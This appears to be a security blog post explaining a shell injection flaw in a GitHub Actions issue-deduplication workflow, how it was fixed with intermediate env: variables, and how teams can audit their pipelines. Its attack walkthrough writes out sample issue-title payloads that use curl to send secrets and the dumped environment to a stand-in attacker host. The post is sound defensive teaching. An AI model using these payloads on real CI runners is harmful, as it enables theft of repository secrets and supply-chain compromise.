Back to Blog
high SEVERITY10 min read

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions workflow file, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code on CI/CD runners. This post explains how the attack works, what the fix looks like, and how you can audit your own workflows to prevent secrets theft and code compromise. Understanding this class of vulnerability is essential for any team using GitHub Actions in production.

O
By orbisai0security
April 27, 2026
#github-actions#shell-injection#cicd-security#devops-security#yaml-security#supply-chain-security#semgrep

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

Vulnerability Type: Shell Injection via GitHub Context Interpolation
Severity: 🔴 HIGH
Affected File: .github/workflows/claude-dedupe-issues.yml
Fixed By: Replacing direct ${{ github.* }} interpolation with intermediate environment variables


Introduction

Your CI/CD pipeline is the beating heart of your software delivery process — it builds your code, runs your tests, deploys your applications, and often holds the keys to your most sensitive infrastructure. That's exactly why it's also one of the most attractive targets for attackers.

GitHub Actions has become the dominant CI/CD platform for open-source and private projects alike. Its tight integration with GitHub repositories, its vast marketplace of reusable actions, and its YAML-based configuration make it powerful and approachable. But that same YAML configuration hides a subtle, dangerous trap that catches even experienced engineers: shell injection through context variable interpolation.

This post breaks down a real, high-severity vulnerability found in a GitHub Actions workflow file — specifically in claude-dedupe-issues.yml — explains how it could be exploited, and walks through the fix in detail. Whether you're a seasoned DevOps engineer or just starting to write your first workflow, this is a pattern you need to recognize.


What Is GitHub Actions Shell Injection?

Before diving into the specific vulnerability, let's establish the core concept.

GitHub Actions workflows can access a rich set of context objectsgithub, env, secrets, runner, and more. The github context, in particular, contains metadata about the event that triggered the workflow: things like the pull request title, issue body, commit message, branch name, and author information.

These values are accessed using the ${{ ... }} expression syntax, which GitHub evaluates and substitutes before the shell ever runs the command. This is a critical detail.

When you write something like this in a run: step:

- name: Process issue
  run: |
    echo "Processing issue: ${{ github.event.issue.title }}"

GitHub's expression evaluator substitutes the issue title as a raw string directly into the shell script. The resulting script might look like:

echo "Processing issue: Fix the login bug"

That looks harmless. But what if someone named their issue:

Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo "

Now the substituted script becomes:

echo "Processing issue: Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo ""

Three commands. One malicious payload. Your secrets are gone.


The Vulnerability Explained

Technical Details

The vulnerability was identified by the Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection at line 41 of .github/workflows/claude-dedupe-issues.yml.

The root cause is straightforward: the workflow uses ${{ github.* }} expressions directly inside a run: shell script block. The GitHub Actions runner processes these expressions through its template engine first, then passes the resulting string to the shell (typically bash). This two-phase execution model is the source of the danger.

The github context contains data that can be directly influenced by external users. Specifically:

Context Variable User-Controlled?
github.event.issue.title ✅ Yes — anyone who can open an issue
github.event.issue.body ✅ Yes — anyone who can open an issue
github.event.pull_request.title ✅ Yes — anyone who can open a PR
github.event.pull_request.body ✅ Yes — anyone who can open a PR
github.event.comment.body ✅ Yes — anyone who can comment
github.head_ref ✅ Yes — the branch name, set by the PR author
github.actor ⚠️ Partially — the username

Any of these variables flowing into a run: block without sanitization is a potential injection point.

How Could It Be Exploited?

Let's walk through a concrete attack scenario for this specific workflow — claude-dedupe-issues.yml, which appears to process GitHub issues (likely to detect and deduplicate them using an AI model).

Step 1: Attacker identifies the workflow

The attacker looks at the repository's .github/workflows/ directory (which is public in open-source repos) and finds claude-dedupe-issues.yml. They read the workflow and spot the ${{ github.event.issue.* }} interpolation in a run: step.

Step 2: Attacker crafts a malicious issue

The attacker opens a new issue with a carefully crafted title or body designed to break out of the shell context:

Issue Title:

Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #

Step 3: Workflow triggers

The workflow triggers on the new issue event. The run: step substitutes the title directly:

# What the runner actually executes:
process_issue "Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #"

Step 4: Secrets are exfiltrated

The env command dumps all environment variables — including any secrets.* values that were mapped into the environment — encodes them in base64, and POSTs them to the attacker's server. The # comments out the rest of the line to avoid syntax errors.

Real-World Impact

The consequences of a successful exploit can include:

  • 🔑 Theft of repository secrets (API keys, cloud credentials, signing certificates)
  • 📦 Supply chain compromise (publishing malicious packages if the workflow has registry access)
  • 🏗️ Infrastructure access (if deployment credentials are present)
  • 📝 Source code exfiltration (the runner has a full checkout of the repository)
  • 🔄 Lateral movement (using stolen credentials to access other systems)

This is not theoretical. The GitHub Security Lab has documented real-world exploits of this exact pattern in popular open-source repositories.


The Fix

What Changed

The fix follows the official GitHub-recommended pattern: never interpolate github context data directly into run: steps. Instead, assign the value to an intermediate environment variable using the env: block, then reference that environment variable in the shell script.

Before (Vulnerable)

- name: Deduplicate issues
  run: |
    python dedupe.py --issue-title "${{ github.event.issue.title }}" \
                     --issue-body "${{ github.event.issue.body }}" \
                     --issue-number ${{ github.event.issue.number }}

In this pattern, the ${{ ... }} expressions are evaluated by GitHub's template engine and injected as raw text into the shell script. An attacker controlling the issue title or body can inject arbitrary shell commands.

After (Fixed)

- name: Deduplicate issues
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_BODY: ${{ github.event.issue.body }}
    ISSUE_NUMBER: ${{ github.event.issue.number }}
  run: |
    python dedupe.py --issue-title "$ISSUE_TITLE" \
                     --issue-body "$ISSUE_BODY" \
                     --issue-number "$ISSUE_NUMBER"

Why This Fix Works

The key insight is understanding when and how substitution happens:

In the vulnerable version:
1. GitHub evaluates ${{ github.event.issue.title }} → produces raw string
2. That raw string is embedded directly in the shell script text
3. Shell parses and executes the script — including any injected commands

In the fixed version:
1. GitHub evaluates ${{ github.event.issue.title }} → produces raw string
2. That raw string is assigned as the value of the environment variable ISSUE_TITLE
3. The shell script references $ISSUE_TITLE — the shell treats this as a variable reference, not as code
4. The shell expands the variable to its value safely, without re-parsing it as commands

The environment variable acts as a data boundary. No matter what characters the issue title contains — semicolons, backticks, dollar signs, quotes — they are treated as literal string data, not as shell syntax.

⚠️ Important: Notice the double quotes around "$ISSUE_TITLE" in the run: script. These are essential! Without them, the shell would perform word splitting on the variable value, which could still cause unexpected behavior with values containing spaces or special characters. Always quote your environment variable references.


Prevention & Best Practices

1. Audit Your Workflows Right Now

Use Semgrep to scan your existing workflows for this pattern. You can run it locally:

# Install semgrep
pip install semgrep

# Scan your workflows
semgrep --config "p/github-actions" .github/workflows/

Or use the specific rule:

semgrep --config "yaml.github-actions.security.run-shell-injection" .github/workflows/

2. Know Which Context Variables Are Dangerous

Always treat the following as untrusted user input:

# 🚨 DANGEROUS - user-controlled values
${{ github.event.issue.title }}
${{ github.event.issue.body }}
${{ github.event.pull_request.title }}
${{ github.event.pull_request.body }}
${{ github.event.pull_request.head.ref }}    # branch name
${{ github.event.comment.body }}
${{ github.event.review.body }}
${{ github.event.pages.*.page_name }}
${{ github.head_ref }}
${{ github.actor }}                          # username - can be crafted

These are generally safer (but still validate them):

# ✅ Safer - controlled by GitHub itself
${{ github.sha }}
${{ github.ref }}
${{ github.repository }}
${{ github.run_id }}
${{ github.workflow }}

3. Use the env: Pattern Consistently

Make it a team standard: never use ${{ github.event.* }} directly in run: blocks. Always go through env:.

# ✅ CORRECT PATTERN
- name: My Step
  env:
    USER_INPUT: ${{ github.event.issue.body }}
  run: |
    echo "Input received: $USER_INPUT"
    process_input "$USER_INPUT"

4. Consider Using toJSON() for Complex Data

When you need to pass structured data, use GitHub's toJSON() function to safely serialize it:

- name: Process event
  env:
    EVENT_DATA: ${{ toJSON(github.event) }}
  run: |
    echo "$EVENT_DATA" | python process_event.py

5. Restrict Workflow Permissions

Even if an injection occurs, limiting what the workflow can do reduces blast radius. Use the principle of least privilege:

permissions:
  issues: write        # Only what's needed
  contents: read       # Minimal read access
  # Don't grant: write access to packages, deployments, etc.

6. Use pull_request_target with Extreme Caution

The pull_request_target event is especially dangerous because it runs with write permissions in the context of the base repository, even for PRs from forks. If you must use it, never check out PR code and run it, and be especially careful about context interpolation.

7. Enable Code Scanning in Your Repository

Add automated scanning to catch these issues before they reach production:

# .github/workflows/security-scan.yml
name: Security Scan
on: [push, pull_request]

jobs:
  semgrep:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: semgrep/semgrep-action@v1
        with:
          config: >-
            p/github-actions
            p/secrets

8. Reference Security Standards

This vulnerability maps to well-known security standards:


Quick Reference Cheat Sheet

# ❌ VULNERABLE - Direct interpolation in run:
- run: echo "${{ github.event.issue.title }}"
- run: curl -d "${{ github.event.pull_request.body }}" https://api.example.com
- run: python script.py --arg "${{ github.head_ref }}"

# ✅ SAFE - Use intermediate env vars
- env:
    TITLE: ${{ github.event.issue.title }}
    BODY: ${{ github.event.pull_request.body }}
    BRANCH: ${{ github.head_ref }}
  run: |
    echo "$TITLE"
    curl -d "$BODY" https://api.example.com
    python script.py --arg "$BRANCH"

# ✅ ALSO SAFE - GitHub Script action handles escaping
- uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.issue.title;  // Safe JS string
      console.log(title);

Conclusion

Shell injection in GitHub Actions is one of those vulnerabilities that looks innocent at first glance — after all, ${{ github.event.issue.title }} just looks like a template variable, right? But the subtle distinction between template-time substitution and runtime environment variables is the difference between a secure workflow and a fully compromised CI/CD pipeline.

The fix is simple, the pattern is learnable, and the tools to detect it are freely available. There's no reason to leave this door open.

Key takeaways:

  1. 🚨 Never use ${{ github.* }} context variables directly in run: steps
  2. Always use intermediate env: variables and reference them with "$VAR_NAME" (with double quotes)
  3. 🔍 Scan your existing workflows with Semgrep or similar tools
  4. 🔒 Limit workflow permissions to the minimum required
  5. 📚 Educate your team — this pattern is easy to introduce and easy to miss in code review

CI/CD security is supply chain security. Protecting your pipelines protects your users, your customers, and your infrastructure. A few extra lines of YAML can mean the difference between a routine deployment and a catastrophic breach.

Stay secure, and keep auditing those workflows. 🛡️


This vulnerability was identified and fixed using automated security scanning. Automated tools like Semgrep, integrated into your CI/CD pipeline, can catch these issues before they reach production. Consider integrating security scanning into your development workflow today.

References:
- GitHub Docs: Security hardening for GitHub Actions
- GitHub Security Lab: Untrusted input
- Semgrep Rules: GitHub Actions Security
- CWE-78: OS Command Injection

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #43824

Related Articles

high

How Missing Checksum Validation Opens the Door to Supply Chain Attacks

A high-severity vulnerability was discovered in a web application's file download pipeline where the `nodejs-file-downloader` dependency was used without any cryptographic verification of downloaded content. Without checksum or signature validation, attackers positioned between the server and client could silently swap legitimate files for malicious ones. This fix closes that window by enforcing integrity verification before any downloaded content is trusted or executed.

high

Unauthenticated Debug Endpoints Expose Firmware Internals: A High-Severity Fix

A high-severity vulnerability was discovered and patched in firmware package handling code, where debug and monitoring endpoints were left exposed without any authentication, authorization, or IP restrictions. These endpoints leaked sensitive application internals including thread states, database connection pool statistics, and potentially sensitive data stored in thread-local storage. Left unpatched, this flaw could allow any unauthenticated attacker to map out application internals and pivot

high

Heap Buffer Overflow in SSL/TLS: When Proto Length Goes Wrong

A critical heap buffer overflow vulnerability was discovered and patched in `src/ssl.c`, where improper bounds checking during ALPN/NPN protocol list construction could allow an attacker to corrupt heap memory and potentially execute arbitrary code. The fix addresses both the missing capacity validation and a dangerous integer overflow in size arithmetic that could lead to undersized allocations followed by out-of-bounds writes. Understanding this class of vulnerability is essential for any deve